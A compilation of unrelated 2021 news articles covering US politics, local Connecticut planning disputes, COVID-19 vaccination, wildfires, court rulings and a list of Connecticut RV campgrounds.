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For instance, the proposal would create three grant programs meant to assist communities of color and the poor affected by the War on Drugs, per the New York Times. And states and cities can only qualify for grant funding if they expunge prior cannabis offenses. "Cannabis prohibition, a key pillar of the failed War on Drugs, has caused substantial harm to our communities and small businesses, and especially for communities of color," Wyden says, per CBS News. Schumer says the expungement of records is especially important to Democrats. But that was one issue that caused Congressional Cannabis Caucus co-chair GOP Rep. Dave Joyce to vote against a similar bill that passed the House in December. Ten Republicans would need to join Democrats in voting in support of this latest proposal for it to clear 60 votes. (Read more marijuana stories.)
(Newser)  Firefighters in California say that after a "cautious and technical" operation, a woman was rescued from a tiny gap between two buildings. The naked woman had somehow become stuck in the space between two businesses in Santa Ana, Fox 11 reports. Max Benett, the owner of Tim's Auto Repair and Smog, says the space is less than 10 inches wide. "It's big enough for a cat, or maybe a dog, but definitely not a human," he tells the Orange County Register. Firefighters cut through the concrete wall of his business to rescue the woman, who was freed Tuesday afternoon, more than two hours after her cries for help were heard.

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Firefighters say workers in the auto shop heard her pleading for help, but because of noise in the business, it took almost 30 minutes for them to find out where the cries were coming from. "The biggest challenge was cutting close enough to actually get her out without pulling her through this tight little space but then also not [letting] any part of that wall come down on her and injure her," says Capt. Thanh Nguyen of the Orange County Fire Authority, per NBC Los Angeles. "She was just right inside here. She was scrunched in there sideways." He says the woman, who was alert and conscious during the rescue, was taken to an area hospital for evaluation. Details on how or why she got stuck haven't yet been revealed. (Read more firefighters stories.)
(Newser)  A court victory for Joseph Maldonado-Passage, better known as Joe Exotic: His 22-year prison sentence was overturned by a federal appeals court Wednesday, though his convictions were upheld and he will be resentenced at a later date, Insider reports. The former Oklahoma zoo owner, made famous by Netflix's Tiger King series, was sentenced in early 2020 to nine years for each of two counts of murder-for-hire and four years for wildlife violations including killing five tigers. The US 10th District Court ruled that when he was sentenced, the judge should have grouped the two murder-for-hire convictions, which would have lowered the sentencing range, reports KFOR.

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The court said that although Maldonado-Passage "hired two different hitmen on two different occasions," the acts shared a "common criminal objective"the murder of big-cat rights activist Carole Baskin. "We hold that the district court acted within its discretion by allowing Baskin to attend the full trial proceedings despite her being listed as a government witness, but that it erred by not grouping the two murder-for-hire convictions at sentencing," the ruling stated. The case is now being sent back to the sentencing judge, People reports. Maldonado-Passage, who sought a pardon in the final days of Donald Trump's presidency, will remain in custody during the resentencing process. (Read more Joe Exotic stories.)
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"A moose calf and cow stopped by our house and had a drink from our grandkids' wading pool. The look on the calf's face is priceless!" Thanks to Dan King, of Two Rivers, for sending along this shot.
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TDT | Manama

The Daily Tribune  www.newsofbahrain.com

Bahrain has made important achievements and advanced efforts in various areas to safeguard human rights. The Shura Councils Human Rights Committee, chaired by Ahmed Mahdi Al Haddad, noted that the international community appreciates the concrete steps taken by the Kingdom in this field.

This comes as the committee welcomed the 2020 Human Rights and Democracy Report issued recently by the UK Foreign, Commonwealth and Development Office.

The report praised Bahrains measures to investigate allegations of human rights violations, and indicated the credibility, transparency and impartiality of the oversight bodies in charge of investigations into allegations of ill-treatment. It also highlighted the progress made by the Bahrain government, represented by the Interior Ministry, to ensure care for detainees and convicts, as well as meet their needs and ensure their safety and rights within the reformation and rehabilitation institution.

The Shura committee asserted that the reports confirmation of the significant reduction in the size of the prison population, both by 169 royal pardons, and by increased use of alternative sentencing legislation, leading to the release of 4,200 convicts, is best response to attempts to undermine the kingdoms human rights protection achievements.

The panel also hailed the reports highlighting of Bahrains initiative to draft an integrated National Human Rights Action Plan, which is the first of its kind at the level of the Gulf Cooperation Council. It is expected to be discussed at the UN Human Rights Council at the end of 2023, stressing the Shura Councils unwavering interest in developing legislation related to human rights, and keenness to contribute to the National Human Rights Action Plan.

The Shura committee said that the UK 2020 Foreign, Commonwealth and Development Office Report included the British governments support for Bahrain, as a friend, in its efforts in the field of combating trafficking in persons. It is supported by Bahrains success to maintain the Tier-1 status in the annual report of the US Department of State for combating people trafficking for the fourth straight year.

Regarding the Government of Bahrains efforts to combat the coronavirus (COVID-19) pandemic without affecting the rights of society, the Shura committee expressed satisfaction for the UK report which highlighted the measures taken by Bahrain to protect the rights of vulnerable people and safeguard wider society during the pandemic.

In this regard, the committee praised the reports highlighting of the kingdoms interest in the inmates of the reformation and rehabilitation institutions, in addition to its economic and health measures for the benefit of the citizens and residents alike, particularly with the Bahraini governments introduction of a visa amnesty from March to December 2020, resulting in the normalisation of the status for over 30,000 workers who might otherwise have lost their jobs.
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Freedom, adventure and time outdoors  these are just a few of the reasons why hitting the road in an RV has become a popular travel choice.

According to a national report by RVShare, RV travel experienced a boom during the pandemic. Almost 80 percent of RV renters in 2020 were new to the RV rental platform, the report states, and research conducted by consumer travel research company STR predicts that RV rentals will remain a popular new travel option through 2021.

In a 2020 article titled Why RVs are the latest trend in travel," travel site Lonely Planet cited a study showed that "20 percent of U.S. respondents are more interested in recreational vehicles for travel" following COVID-19. And CEO of RVShare Jon Gray told Forbes in an interview in February that the pandemic "accelerated RVshares awareness and consideration by 5 years, positioning RV rentals as a mainstream travel category."

At Campers World Campground in Jewett City, property manager Patty Kehler said she also attributes an influx in bookings to the pandemic.

"Nothing was open and people still wanted to get out  they wanted to vacation, they wanted to do things," she said. "RVing and tenting allowed them to be outdoors and self contained, especially with the RVs where you have showers and bathrooms all right in there.

Kehler said last year the campground saw a lot of RV reservations, but this year it has "an array of everything, from tenters to RVers to pop-ups." Campers World get requests every day for availability, Kehler noted, and it's "pretty booked up" through the season.

At Lake Compounce's camping site in Bristol, public relations manager Lynsey Winters said the same trend is happening.

"We have seen a strong uptick in RV reservations at the Lake Compounce campground this season," she said in an email. "Overall, families at our campground have noted that they are happy to be out and about. Most of them have been looking for fun, safe ways to take a vacation this summer, without needing to hop on an airplane."

The trend might continue. In a 2021 owner demographic profile by the RV Industry Association, 9.6 million households reported planning to buy an RV within the next five years, and those planning to purchase a vehicle said they planned to use it a median of 25 day per year  five days more than the current median annual usage. The Association said this increase might be indicative of the changing attitudes towards remote work and the ability for more people to be able to work from a destination more frequently than traditional vacation days afforded in the past.

When it comes to picking a spot to set up, RV campers can choose from standard campgrounds, RV-specific campgrounds and RV parks that can accommodate larger motorhomes. RV resorts have amenities like internet service, swimming pools or laundry areas.

In Connecticut, there are a variety of these RV-friendly destinations for those who want to jump in on the trend.

Aces High RV Park

301 Chesterfield Road

East Lyme, CT 06333

Acorn Acres Campground

135 Lake Road

Bozrah, CT 06334

Black Rock State Park

2065 Thomaston Road

Watertown, CT 06795

Brialee Family Campground

174 Laurel Lane - PO Box 125

Ashford, CT

Campers World Campground

28 Nowakowski Rd.

Jewitt City, CT 06351

Charlie Brown Campground

98 Chaplin Road, Rte. 198

Eastford, CT 06242

Countryside Campground

75 Cook Hill Road

Griswold, CT

Cozy Hills Campground

1311 Bantam Road

Bantam, CT 06750

Devils Hopyard State Park

366 Hopyard Road

East Haddam, CT

GrandView Camping

89 North Moodus Road

Moodus, CT 06469

Hammonasset Beach State Park

1288 Boston Post Road, Rte. 1

Madison, CT

Hopeville Pond State Park

929 Hopeville Road

Griswold, CT 06351

Housatonic Meadows State Park

90 US-7

Sharon, CT 0609

Kettletown State Park

1400 Georges Hill Road

Southbury, CT 06488

Lake Compounce

188 Enterprise Drive

Bristol, CT 06010

Lake Waramaug State Park

30 Lake Waramaug Road

New Preston, CT 06777

Lone Oak Campsites

360 Norfolk Road

East Canaan, CT 06024

Markham Meadows Campground

9 Markham Road

East Hampton, CT 06424

Mystic KOA Holiday Campground

118 Pendleton Hill Road

North Stonington, CT 06359

Nelsons Family Campground

71 Mott Hill Road

East Hampton, CT 06424

Niantic KOA Journey Campground

271 W Main Street

Niantic, CT 06357

Nickerson Park Family Campground

1036 Phoenixville Road

Chaplin, CT 06235

Odetah Camping Resort

38 Bozrah Street Ext.

Bozrah, CT 06334

Peppertree Camping

146 Chaplin Road, Rte. 198

Eastford, CT 06242

Riverdale Farm Campsites

111 River Road

Clinton, CT 06413

Roaring Brook Campground

8 South Road

Stafford Springs, CT 06076

Rocky Neck State Park

244 W Main Street

Niantic, CT 06537

Ross Hill Park Family Campground

170 Ross Hill Road

Lisbon, CT 06351

Salem Farms Campground

39 Alexander Road

Salem, CT 06420

Seaport RV Resort and Campground

45 Camp Ground Road

Old Mystic, CT 06372

Stateline Camp Resort & Cabins

1639 Hartford Pike

East Killingly, CT 06243

Sunfox Campground

15 Kenyon Road

Lisbon, CT 06351

Waters Edge Family Campground

271 Leonard Bridge Road

Lebanon, CT 06249

White Pines Campsites

232 Old North Rd.

Barkhamsted, CT 06063

Witch Meadow Lake Family Campground

139 Witch Meadow Road

Salem, CT 06420

Wolfs Den Family Campground

256 Town Street

East Haddam, CT 06423
DANBURY  A group of West Side residents who are tired of construction and ripped up roads are not sure what is worse  the prospect of a new $80 million cancer center on Wooster Heights Road, or the fact that theyre just now learning about it.

We have rallied ourselves to let our neighbors know what youre doing, and I think there should have been better communication, West Side resident Janet Murphy said during a public hearing last week. This could be another potential nightmare, especially just having gone through the (Eversource) gas line replacement.

Murphy is referring to plans launched a year ago to create what would be Connecticuts first cancer center to use proton therapy  a technology that aims to kill tumors with a minimum of damage to healthy tissue. The state Office of Health Strategy is considering Danbury Proton and a second proposal by Hartford HealthCare and the Yale New Haven Health System to use the novel therapy.

The states decisions are expected before the end of the summer.

Meanwhile Danbury Proton is seeking permission from Danburys Planning Commission to build a single-story 16,000-square-foot treatment center on a 3-acre site across Route 7 from the Danbury Municipal Airport and the Danbury Fair mall.

The Planning Commission closed the public hearing last week after hearing from a handful of construction-weary residents of Wooster Heights, setting up a vote by the five-member elected board on July 21.

Planning Commission Chairman Arnold Finaldi, one of four board members who signaled they supported approving Danbury Proton last week, said the proposal should not trigger neighborhood fears that construction will be like the Keystone Place assisted living facility across the street because that project was 10 times the size of Danbury Proton.

While I empathize with a lot of the neighbors and what they have been through  I have sat in that same traffic  I think that I am fairly comfortable that the scale of this project is much smaller, and will be much less impactful, Finaldi said.

A small group of neighbors who joined the public hearing on the videoconferencing platform Zoom said city planners didnt know the half of it.

Weve had nonstop uproar here on the streets  and although you keep saying its going to be a small amount, you keep adding and adding, said Kim McCormack, a resident of Terre Haute Road. Theres days where youre backed up trying to get up Wooster Heights, and days when getting out of Terre Haute is like taking your life in your hands.

The proposed site at 85 Wooster Heights Road is on the periphery of the citys hot West Side, where a $36 million rehabilitation hospital has been approved in the sprawling Reserve residential development, and where owners of a 1.2 million-square-foot office park at the former Union Carbide headquarters are building apartments, medical offices and a 1,400-student academy.

Danbury Protons attorney said the specialized treatment center would add 300 trips a day to the 12,000 traffic trips that are already happening daily to the west of the site, and the 10,000 traffic trips that are already happening daily to the east of the site.

I certainly understand the concerns of the neighborhood that they may be tired of construction, but we are here to tell you that this is going to be less impactful than any of those items you have suffered through, attorney Thomas Beecher said during the July 7 public hearing. Once this project is done, there will be very little impact on the neighborhood.

None of the residents who voiced their concerns had a problem with the cancer center itself.

I am 100 percent supportive of the outcome  so after it is built I have no issues whatsoever, said longtime Dartmouth Lane resident Jackie Reizes during the public hearing. Were community people .. .and our issue is we were not informed about anything.

Stephen Courtney, a managing member of Danbury Proton, said during the public hearing that it was not his intention to secretly do an $80 million project in this town.

When we started this project over a year ago, we created a website with numerous tabs of information because we wanted to be a good neighbor and be transparent with our project, Courtney said. We are quite surprised to find out that anybody in Danbury didnt know about the project because we spent a lot of time energy and money getting that news out.

rryser@newstimes.com 203-731-3342
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DANBURY  A Jersey Mikes fast food restaurant has been approved on one of the busiest commercial stretches on the citys east side near the Bethel border, on the belief that the extra peak hour traffic it attracts can be absorbed by a road that the state is widening.

The approval last week by Danburys Planning Commission of a new Jersey Mikes in the Nutmeg Square shopping center near the Stop & Shop would add 66 car trips when traffic is busiest on Newtown Road, according to a traffic analysis.
Contributed /

RIDGEFIELD  Police are investigating after an elderly woman was found injured in a driveway sometime around noon on Monday.

Ridgefield police said between 11:50 a.m. to 12:05 p.m. the woman suffered serious physical injuries at an address on High Ridge Road between Catoonah Street and Griffith Lane.
Amy Bovin, a Danbury native, was just three years old when her mother introduced her to the piano. She played in school and picked up newer instruments and skills as she grew within the local education system.

I just realized I really enjoyed music, she said.

Fast forward to 2021 and 35-year-old Bovin is on the verge of making history at Texas A&M Universitys Kingsville campus as she is believed to be the first-ever female band leader in Texas A&M history.

Scott Jones, an associate professor and director of bands at Texas A&M Kingsville, said hes searched the Texas A&M system archives and has not found the name of another female band leader, which is why he thinks Bovin will be the first  if not in the entire A&M history, certainly at their campus.

Bovin is preparing to ship her life to Texas and join the long-standing javelina legacy in August after shes obtained multiple degrees, including a doctorate in music education from the University of Hartford.

She has a wealth of knowledge and she brings a lot of energy and a different perspective because shes from the northeast and a female band director which we havent had here, Jones said.

Ill definitely say that Im excited to have her, he added.

She will be serving as an associate director of the Pride of the South javelinas marching band and an assistant professor of music  an interim position that she hopes to secure long-term.

Bovin could have applied for a whole host of musical jobs with her credentials. But, she felt drawn to teaching at the collegiate level and thought the Texas A&M Kingsville role was unique in that it would allow her to exercise her strengths as both a teacher and bandleader.

Making history in the process was an added bonus.

Its all just surreal, she said.

Its really neat to just be that mentor, that inspiration for young women and really any gender to show anything is possible in this profession and you dont have to be a certain demographic to be successful, she added.
President Joe Biden on Tuesday nominated former Sen. Jeff Flake, a Republican lawmaker who endorsed his 2020 run for the White House, to serve as U.S. ambassador to Turkey.

Flake served in the U.S. Senate from Arizona from 2013 to 2019 and in the U.S. House from 2001 to 2013.

Flake retired from the Senate at the end of his term in 2019, saying he was out of step with the Republican Party in the era of former President Donald Trump. He later wrote a book, Conscience of a Conservative, that was a critique of Trump.

With this nomination, the Biden Administration reaffirms the best tradition of American foreign policy and diplomacy: the credo that partisan politics should stop at the waters edge. U.S. foreign policy can and should be bipartisan, Flake said in a statement. That is my belief as well, and my commitment.

Flake was one of more than two dozen former Republican lawmakers to announce their support for Republicans for Biden.

Former Reps. Charlie Dent of Pennsylvania, Jim Greenwood of Pennsylvania and Jim Leach of Iowa and Sen. John Warner of Virginia, who died in May, are among the former Republican lawmakers who endorsed Biden last year.

The White House also announced Tuesday that Biden is tapping career senior foreign service officer Kent Logsdon to serve as ambassador to Moldova.

Flake, if confirmed, will be dispatched to Ankara at a difficult moment in the U.S.-Turkey relationship.

The list of disagreements is unusually long for the two NATO allies: Theres U.S. support for Kurdish fighters in Syria, as well as Turkeys purchase of a Russian weapons system. And in April, Biden infuriated Ankara by declaring that the Ottoman-era mass killing and deportations of Armenians was genocide.

Previous U.S. presidents had avoided using the term out of concern that it would complicate ties with Turkey, which is fiercely proud of its Ottoman history and insists that those killed in the early 20th century were victims of civil war and unrest.

Biden administration and Turkish government officials are also currently in talks about Turkey providing security at Kabuls Hamid Karzai International Airport after the U.S. completes its pullout from Afghanistan later this summer.

Sen. Patrick Leahy, a Vermont Democrat, said Flake was well suited to serve as Biden's chief envoy to Turkey at a critical moment in the relationship.

Jeff is a perfect choice to work toward a more constructive relationship that would be good for both of our countries, for the region, and for the world, Leahy said.

Flake would succeed David Satterfield, a well-respected career foreign service officer who has served as the U.S. ambassador to Turkey for more than two years.
NEW HAVEN  As the virulent Delta variant of COVID-19 continues to make headway in Connecticut  now at about 50 percent of all cases  Yale New Haven Healths top doctor offered a sobering caution to those who havent yet gotten the shot to protect themselves.

Theres really only two paths, Dr. Thomas Balcezak, YNHHs chief clinical officer said Tuesday afternoon at an online press conference, Youre going to get vaccinated or youre going to get COVID.

The good news, however, is that overall COVID cases in Connecticut are down, according to Yale New Haven Health CEO Marna Borgstrom.

The other good news is that the existing vaccines are still protective against the Delta variant, said Balcezak, and although some people still may become infected even though theyve been vaccinated, we do know that the chances of them getting seriously ill or dying are less if theyve had the vaccine.

There have been a total of 29 people in Connecticut who have been diagnosed with COVID-19 after previously being vaccinated at least once, including three within the past three weeks, Balcezak said.

As of Tuesday, there were just 11 COVID-19 cases being treated across the Yale New Haven Health System, including eight at Yale New Haven Hospital and three at Bridgeport hospital, with none at Greenwich Hospital, Lawrence Memorial Hospital in New London or Westerly Hospital in R.I., said Borgstrom.

Just one of the those in-patients is in the intensive care unit and that patient is not on a ventilator, she said.

While treating the disease remains a concern, I marvel at how far weve come, Borgstrom said.

At the height of the pandemic in April 2020, we were looking at 800 in-patients in the health system, she said.

Borgstrom said YNHH officials dont take it for granted that things are going as well as they are.

We feel very privileged to be in this place right now, and when we look back, we had more than 13,400 people admitted with COVID since the onset of COVID in March 2020.

Thoughout the pandemic, YNHH has had a 92 percent survival rate, she said.

This reflects the incredible work of our staff, our team, who really learned by doing this, because the textbook hadnt been written, Borgstrom said.

... It was really a tribute to a team of people who just kind of threw themselves in and did this work, rolled up their sleeves, asked for advice and took it, she said.

Borgstrom recently was reminded how relatively well things are going right now in Connecticut when she spoke to a colleague in Missouri whose institution has more patients now than it did during the second-wave spike in December, she said.

Balcezak said the fact that the Delta variant is so contagious is one reason why YNHH is seeking the mandatory vaccination of all employees.

Were also going to continue to wear masks in our facilities, both to protect the employees and anyone who is not vaccinated, he said.

I like to think of these as layers of protection, Balcezak said. Getting vaccinated is a layer of protection. Wearing a mask is another layer of protection.

The percentage of Yale New Haven Health employees who have been vaccinated currently remains at about 88 percent, but Balcezak said he expects those numbers to climb soon.

With regard to vaccine manufacturer Pfizers suggestion that a booster shot may soon be needed, Balcezak said the most important element of Dr. Anthony Faucis response was that he didnt believe a booster was needed at this moment.

There is no doubt in my mind that we will someday need a booster, Balcezak said. ... Now, whether that it is in the fall or in a year or two in the future, we dont know.

Yale New Haven Health is requiring employees to get their first shot by Aug. 31 and their second shot by the end of September, said Vice President for Public Affairs Vincent Petrini.

Connecticut has reached the point where the majority of people are vaccinated in most parts of Connecticut, and what I think that means is that we will not see a return to the kinds of numbers that we previously saw, said Balcezak.

mark.zaretsky@hearstmediact.com
BOISE, Idaho (AP)  Idaho residents and visitors need to help prevent wildfires in what could be a challenging season with continued high temperatures and most of the state in drought, Gov. Brad Little said.

The Republican governor said Tuesday that there's a potential for multiple giant wildfires in Idaho that use up firefighting resources and leave some areas unprotected. He spoke at an outdoor news conference hazy with smoke from wildfires from nearby states.

My fear is that we will have some of these great big mega-fires that start creating their own weather, like the one that is over in Oregon, where I think a lot of this smoke is coming from, that basically endanger communities, they endanger firefighters, they endanger precious wildlife and watershed capacity, he said.

Climate change has made the West much warmer and drier in the past 30 years, and scientists have long warned that the weather will get wilder as the world warms. Special calculations are needed to determine how much global warming is to blame, if at all, for a single extreme weather event.

Little has already tapped the Idaho National Guard in what could be the worst wildfire season in the state in years. That includes the use of helicopters that can fight fires, transport firefighters or deliver supplies.

The governor made the comments at the National Interagency Fire Center, a multi-agency entity in Boise that coordinates the nation's wildfire resources. Little was joined at the news conference by state and federal wildfire managers, who also asked people to be careful in not accidentally starting wildfires.

Every fire that doesn't start is a fire that we don't have to send resources to, and we can concentrate on the work at hand, said Grant Beebe, the U.S. Bureau of Land Management's assistant director for Fire and Aviation.

Beebe said there are currently 12,000 firefighters on fire lines, with many thousands more available. But he said managers have to be careful that firefighters aren't overworked with months to go in a wildfire season that looks to be unusually hot and dry.

So far this year, according to the National Interagency Fire Center, there have been nearly 34,000 wildfires that have burned more than 3,000 square miles (7,800 square kilometers). Humans cause about 87% of all wildfires each year, the center said.

The center also said there are 67 large wildfires burning, with Idaho and Arizona accounting for 13 large wildfires apiece.

The biggest issue we face right now is extremely limited resources to manage these fires, including a lack of aircraft and crews on the ground," said Dustin Miller, director of the Idaho Department of Lands. We typically tap into our shared resources during these times, but they have very limited availability due to fires in our neighboring states.

After the news conference, Little toured the U.S. Bureau of Land Managements Boise Smokejumpers base, but all the smokejumpers are out fighting fires.
MONTGOMERY, Ala. (AP)  A federal judge on Tuesday dismissed failed U.S. Senate candidate Roy Moores $95 million lawsuit targeting comedian Sacha Baron Cohen filed after Moore complained he was tricked into an interview that lampooned sexual misconduct accusations against him.

Judge John Cronan wrote that Moore signed a clear disclosure agreement that prohibited any legal claims over the appearance. He added that the absurd segment  in which the comic demonstrated a so-called pedophile detector that beeped when it got near Moore  was clearly a joke" and no viewer would think the comedian was making factual allegations against Moore.

The court agrees that Judge Moores claims are barred by the unambiguous contractual language, which precludes the very causes of action he now brings, Cronan wrote.

The lawsuit centered on Moore's unwitting appearance on the comic's Who is America? show. The segment ran after Moore faced misconduct accusations that he had pursued sexual and romantic relationships with teens when he was a man in his 30s. He has denied the allegations.

Moore, a Republican sometimes known as the Ten Commandments judge known for hardline stances opposing same-sex marriage and supporting the public display of Ten Commandments, faced the accusations during his 2017 race for U.S. Senate. The accusations contributed to his loss to Democrat Doug Jones, the first Democrat to represent Alabama in the Senate in a quarter-century.

Moore had been told he was receiving an award for supporting Israel. But in the segment, Baron Cohen appeared as a faux counterterrorism instructor Col. Erran Morad, discussing bogus military technology, including a supposed pedophile detector. In the segment, the device beeped repeatedly as it got near Moore, who sat stone-faced.

The judge noted the absurdity of the segment in dismissing Moores lawsuit, which sought $95 million in damages.

In light of the context of Judge Moores interview, the segment was clearly a joke and no reasonable viewer would have seen it otherwise, the judge wrote.

Court records indicate Moore and his wife, who also was a plaintiff in the suit, are appealing.

Of course we will appeal  this Court used words like tricked and Joke in describing Cohens behavior but will still do nothing to rein in his fraudulent misconduct, Moore said in a statement texted to The Associated Press.

Baron Cohen has for years lured unwitting politicians into awkward interviews. He has faced past lawsuits over similar pranks, but those were tossed out because the individuals had signed releases.
FRANKSVILLE, Wis. (AP)  A man filling up his car at a Wisconsin gas station was shot and killed by another man on Tuesday, with the suspect fleeing the scene and dying soon after in a shootout with an undercover sheriff's investigator.

Racine County Sheriff Christopher Schmaling said the initial shooting happened about 7:30 a.m. at the Pilot Travel Center in the village of Caledonia. Schmaling said a 32-year-old man approached and viciously executed a 22-year-old man putting gas in his car.

Schmaling said the gunman then shot at another person driving through the Pilot parking lot  that person was unhurt  and then drove away. The sheriff said the man then approached a person who was filling up his car at a Mobil station about 2 miles (3.2 kilometers) away.

That man happened to be an undercover sheriff's investigator with 21 years of experience, Schmaling said. He said the two men exchanged gunfire, and the suspect was struck several times and killed.

The investigator was also hit and was taken to a Racine hospital, where he was conscious and alert, the sheriff said.

It should be noted, ladies and gentlemen, this is 7:30 in the morning at this Mobil station. It was bustling with activity. People getting their gas. People getting their morning cup of coffee. There is no doubt in my mind the quick, heroic actions of our investigator saved lives today, he said.

Schmaling said he had watched video of the initial shooting. Though he described the shooting as an execution, he gave no indication of what preceded the attack.

Schmaling did not provide the names of the shooter or his victims, but did say the gunman was from Hartland and the man he shot and killed was from Elkhorn.

One witness to the aftermath of the shooting at the Pilot, just off Interstate 94 about 22 miles (35 kilometers) south of Milwaukee, described a sea of people fleeing from inside the station.

A trucker who declined to give her name, citing fears for her safety, told The Associated Press she had just pulled into the Pilot to fuel up when a man ran out of the store. She said she then saw a truck ahead of her back up and make a U-turn to leave.

Then, everybody starts running out of the Pilot, it's truckers just running, sea of people, this one guy is yelling, Run! Run,' and I'm like, Oh my God," the woman said. She said she asked one of the people what was going on.

He said that somebody's in there shooting, the woman said. She said she did not witness any shooting or see anyone hurt.

In a statement, Pilot Co. spokeswoman Stephanie Myers said it's an open investigation, we are cooperating fully with local authorities. The statement went on to say that the safety and well-being" of the company's' employees and customers "is always our main concern.

___

Associated Press writers Gretchen Ehlke in Milwaukee; Doug Glass in Minneapolis; and Scott Bauer in Madison, Wisconsin, contributed to this report.
WASHINGTON (AP)  President Joe Biden made a quick foray to the Capitol on Wednesday hunting support for his multitrillion-dollar agenda of infrastructure, health care and other programs, a potential landmark achievement that would require near-unanimous backing from fractious Democrats.

His visit came a day after Senate Democratic leaders capped weeks of bargaining by agreeing to spend a mammoth $3.5 trillion over the coming decade on initiatives focusing on climate change, education, a Medicare expansion and more. Thats on top of a separate $1 trillion bipartisan compromise on roads, water systems and other infrastructure projects that senators from both parties are negotiating, with Bidens support.

The president spent just under an hour at a closed-door lunch with Democratic senators in the building where he served for 36 years as a Delaware senator and where his party controls the House and Senate, though just barely. Participants said Biden paced the room with a microphone taking questions and received several standing ovations.

It is great to be home, Biden told reporters after his first working meeting at the Capitol with lawmakers since becoming president. It is great to be with my colleagues, and I think we are going to get a lot done.

Democrats accord on their overall $3.5 trillion figure was a major step for a party whose rival moderate and progressive factions have competing visions of how costly and bold the final package should be. But many of them say bolstering lower-earning and middle-class families, and raising taxes on wealthy people and big corporations to help pay for it, would nurture long-term economic growth and pay political dividends in next years elections for control of Congress.

Sen. Chris Murphy of Connecticut said the president urged them to consider whether their plan would help people in Biden's blue-collar hometown of Scranton, Pennsylvania. His point was that we need to be thinking about folks who have given up on democracy, Murphy said.

Democrats' agreement on a topline spending figure, while significant, is merely an initial move that leaves the toughest decisions for later. They must translate their plan into legislation with specific spending and revenue figures, then line up the needed votes to enact it, a process likely to grind right through autumn.

With unanimous Republican opposition likely, Democrats would need support from all their lawmakers in the 50-50 Senate and could lose no more than three votes in the House.

Sen. Lindsey Graham of South Carolina, top Republican on the Budget Committee, belittled the emerging plan as a wasteful liberal wish list that would fuel inflation and boost taxes.

Count me in for real infrastructure. Count me out for a tax and spend plan from Hell, he said in a statement.

Senate Majority Leader Chuck Schumer said Republicans simply want to help the rich. They don't want their taxes to rise. They don't want the government to help people," he said.

To reach their legislative goal, Democrats want to approve a budget resolution before Congress August recess that would let them push a subsequent, sprawling spending bill actually financing their priorities through the Senate by a simple majority vote. Without that protection, Republicans could kill the follow-on spending measure with a filibuster that would require an insurmountable 60 votes to overcome. The budget resolution itself cannot be filibustered.

Democrats said little about one challenge they will face. The measures Democrats contemplate total a bit less than the roughly $4.5 trillion for new spending that Biden wants for infrastructure, family services, climate change and other programs. To accommodate their lower figure, lawmakers will have to curtail or eliminate some of his proposals.

I think were in good shape. There may be some slight adjustments in the pay-fors," meaning revenue increases, Biden told governors and mayors visiting the White House. The proposed tax boosts loom as one of the plan's most politically sensitive items, especially for moderate Democrats facing competitive reelections.

In an unsurprising harbinger of potential problems, West Virginia Sen. Joe Manchin, perhaps his chamber's most conservative Democrat, signaled he would oppose proposals to curb fossil fuels, long a lifeblood for his state's economy. His demands to trim other spending forced Democrats to drop a longtime progressive goal, a minimum wage increase, from pandemic relief legislation early this year.

Manchin said of cutting fossil fuels, which are major contributors to global warming, It wont happen, it cant happen and it doesnt do a darn thing but makes the world worse." He said Democrats could achieve their spending plans if they understand fossil is going to play a part.

Key backing for the overall plan has come from Senate Budget Committee Chair Bernie Sanders, I-Vt., a self-proclaimed democratic socialist and a leader of the Democrats' progressive wing. He's repeatedly called the agreement historic and said Wednesday that while he'd like more spending  he earlier sought $6 trillion  the reality is that all 50 Democratic senators are needed to prevail.

I think this is very, very significant, he said.

House Speaker Nancy Pelosi, D-Calif., said the Senate plan would address her chamber's Democratic priorities on climate, health care and family services and make historic, once-in-a-generation progress for families across the nation. Yet in a letter to colleagues, she seemed to leave the door open to seeking more, saying, We will fight to ensure that our priorities become law.

Rep. Pramila Jayapal, D-Wash., who chairs the Congressional Progressive Caucus, told reporters that while her group's support isn't guaranteed, We see this as a very big, positive step forward.

Details of the package began emerging, even though all are merely proposals that await final decisions later.

A senior Democratic aide said the party will seek extensions of tax credits for children, child care and some low-income people, money for environmentally friendly energy technologies and a federal standard aimed at encouraging a shift to clean energy. The plan would fund pre-kindergarten for toddlers, aid for college students, paid family leave, food and housing programs and a pathway to citizenship for potentially several million immigrants in the U.S. illegally, said the aide, who spoke on condition of anonymity to describe Democrats plans.

Also included is a top progressive priority  an expansion of Medicare, the health insurance program for older Americans, to include vision, dental and hearing coverage. Sanders suggested there also might be an effort to lower that program's eligibility age to 60.

That would be expensive, but the senior aide said Democrats are also looking at savings from letting the government negotiate prescription drug costs. The aide said there would also be language barring tax boosts on people earning under $400,000 annually, on small businesses and on family farms.

Sen. Mark Warner, D-Va., a leading moderate, said the entire measure would be paid for with new revenue. Senate Finance Committee Chair Ron Wyden, D-Ore., said in an interview that he's working on proposals to ensure that the superwealthy and mega-corporations pay their fair share" of taxes and for extra funding for the IRS to crack down on tax scofflaws.

___

Associated Press writers Kevin Freking, Mary Clare Jalonick and Jonathan Lemire contributed to this report.
MEXICO CITY (AP)  Young adults in Mexico are coming out to party again, even as the country enters its third wave of coronavirus infections and vaccines have yet to reach those under 30.

The number of seriously ill patients aged 60 to 69 has dropped so far this year as the elderly got vaccines, the federal Heath Department says. But hospitalizations have more than doubled for those aged 30 to 39, who are only starting to get shots. Only about 40% of the countrys adults have received at least one dose.

Young people in their 20s are thronging restaurants and street-side beer stands in Mexico City, especially on the weekend. Few wear face masks, and many sing or shout while standing shoulder to shoulder.

But young adults are also lining up at vaccination centers, eager to get their dose.

Often the motivation for getting vaccinated is to be able to get back to work. While the Mexican government opposes requiring anyone to get shots, it is clear many feel that vaccinated people will be safer, and more accepted, in offices and other workplaces.

Cesar Chavez Beltran, 32, lined up for his first shot of AstraZeneca in Mexico City. A bank teller, he works in contact with other employees and the public. He was given time off work to get the shot.

Obviously, I told them at work that was I was going to get vaccinated and once I get it, I'm going back to work, Chavez Beltran said.

The other big motivation is to get back to normal.

Luis David Diaz Sandoval, 30, works as a sound engineer at dance performances, and he was among the first 30-year-olds getting their first shots.

The truth is, a lot of people have died and the hope is that with this (the vaccine) we can have a little more control, Diaz Sandoval said.

We are seeing a lot of parties now, and a lot of people have gotten vaccinated and are going around the streets, without masks, as if everything was over, he said, adding I don't think so, I think this has just started.

Unlike other countries where there has been resistance to vaccines among younger adults, in Mexico the resistance often seems to come from older people living in more traditional, rural states like Chiapas, where vaccination stations have often been deserted.

Mexico's plan, once it gets enough vaccine, is to vaccinate everyone over age 18, despite the fact that there have been some rare side effects among younger people from both the Pfizer and AstraZeneca vaccines, which make up two-thirds of doses in Mexico.

